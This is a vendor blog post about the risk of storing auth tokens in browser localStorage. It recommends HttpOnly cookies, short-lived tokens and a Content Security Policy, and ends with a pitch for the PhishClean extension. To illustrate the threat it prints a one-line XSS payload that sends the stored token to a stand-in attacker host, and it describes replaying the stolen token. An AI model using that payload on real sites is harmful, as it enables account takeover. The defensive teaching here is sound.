February 25, 2026 · 9 min read

By PhishClean Research Team - browser security guidance based on phishing analysis, defensive research, and product work.

Is localStorage Safe for Tokens? Here's the Honest Answer.

If you're storing JWTs in localStorage, every script running on your page can read them. That's not a bug. It's literally how localStorage was designed. And it's a bigger problem than most developers realize.

The One Line That Should Worry You

Open your browser's DevTools console on almost any web app and try this:

localStorage.getItem('token')

If the app stores its auth token in localStorage (and many do), you just read it. Any JavaScript running on the page can do the same thing — your code, third-party analytics scripts, that A/B testing library, the live chat widget, and yes, any malicious script that finds its way onto the page through an XSS vulnerability.

localStorage has no access control. There are no permissions, no scoping, no way to say "only my code can read this key." It's a flat key-value store that's open to every script in the same origin.

Why Developers Use localStorage Anyway

Let's be fair — there are reasons localStorage is popular for token storage, and they're not unreasonable:

The problem isn't that localStorage is inherently broken. The problem is that it trades one category of security risk (CSRF) for another (XSS token theft) — and XSS is significantly harder to prevent across an entire application.

XSS + localStorage = Complete Account Takeover

Here's how a realistic attack chain works. It's not theoretical — this pattern shows up in bug bounty reports regularly.

Step 1: The attacker finds an XSS vulnerability

Maybe it's a reflected XSS in a search parameter. Maybe it's a stored XSS in a comment field. Maybe it's a DOM-based XSS from a third-party library. The specific vector doesn't matter — what matters is that the attacker can execute JavaScript on the page.

Step 2: The payload is tiny

// That's it. That's the entire attack.
fetch('https://attacker.com/steal?t=' +
  localStorage.getItem('token'))

One line. The JWT is exfiltrated to the attacker's server. No user interaction required beyond visiting the page with the XSS.

Step 3: The attacker replays the token

JWTs are self-contained. The attacker doesn't need to know the user's password. They paste the stolen JWT into their own browser, set it as a header on API requests, and they're logged in as the victim. If the token doesn't expire for hours (or days — which is common), they have a long window to work with.

A single XSS vulnerability anywhere in your application — including in third-party scripts you don't control — gives an attacker full access to every token stored in localStorage. With HttpOnly cookies, the same XSS can't read the token at all.

localStorage vs sessionStorage vs HttpOnly Cookies

These three options get discussed constantly in security forums. Here's a straight comparison:

Property localStorage sessionStorage HttpOnly Cookie
Accessible to JavaScript Yes Yes No
Survives page reload Yes Yes Yes
Survives tab close Yes No Depends on expiry
Sent with every request No (manual) No (manual) Yes (auto)
CSRF risk None None Yes (needs SameSite/token)
XSS token theft risk High High None
Storage limit ~5-10 MB ~5-10 MB ~4 KB

sessionStorage is marginally better than localStorage because the token doesn't persist after the tab is closed. But it's still readable by any script on the page, so it doesn't fix the XSS problem.

HttpOnly cookies are the only option that prevents JavaScript from reading the token entirely. The trade-off is that you need CSRF protection (use SameSite=Strict or SameSite=Lax and you're mostly covered) and the cookie is sent automatically with every request to the domain.

What You Should Do Instead

For new projects: use HttpOnly cookies

Set your auth token as an HttpOnly, Secure, SameSite cookie. The browser will include it automatically in requests, and no JavaScript — malicious or otherwise — can read it.

// Server-side (Node.js/Express example)
res.cookie('session', token, {
  httpOnly: true,    // Not accessible via JavaScript
  secure: true,      // HTTPS only
  sameSite: 'lax',  // CSRF protection
  maxAge: 3600000    // 1 hour
});

For existing apps: add token rotation

If migrating to HttpOnly cookies is a big refactor, at least implement short-lived tokens with refresh rotation. Issue access tokens that expire in 15 minutes. Use a longer-lived refresh token (in an HttpOnly cookie if possible) to get new access tokens. This limits the damage window if a token is stolen.

Always: implement a Content Security Policy

A strong CSP significantly reduces XSS risk by controlling which scripts can run on your page. At minimum:

Content-Security-Policy: script-src 'self'; object-src 'none'

This prevents inline scripts and scripts from external domains from executing — which blocks most XSS payloads and formjacking scripts.

There's no perfect solution. HttpOnly cookies trade XSS risk for CSRF risk (though SameSite largely solves that). localStorage trades CSRF risk for XSS risk. The difference is that XSS is harder to prevent completely, especially in applications with many third-party scripts. That's why the security community generally recommends HttpOnly cookies as the default.

How PhishClean Detects Exposed Tokens

We built PhishClean's Token Storage Scanning signal specifically because this problem is so widespread. It checks for auth tokens sitting in localStorage and sessionStorage on pages you visit.

Why does this matter for end users (not just developers)?

Everything runs locally in your browser. PhishClean never reads or transmits your actual tokens — it detects patterns that indicate insecure storage.

Related Reading

Spot Insecure Token Storage

PhishClean detects exposed JWTs, API keys, and session tokens on every page you visit — locally, in real time. 3-day free trial, no credit card required.

Install PhishClean

Share or Save This Guide

If this helped, save it for later, share it with someone who would benefit from it, or subscribe for new browser-security guides from PhishClean.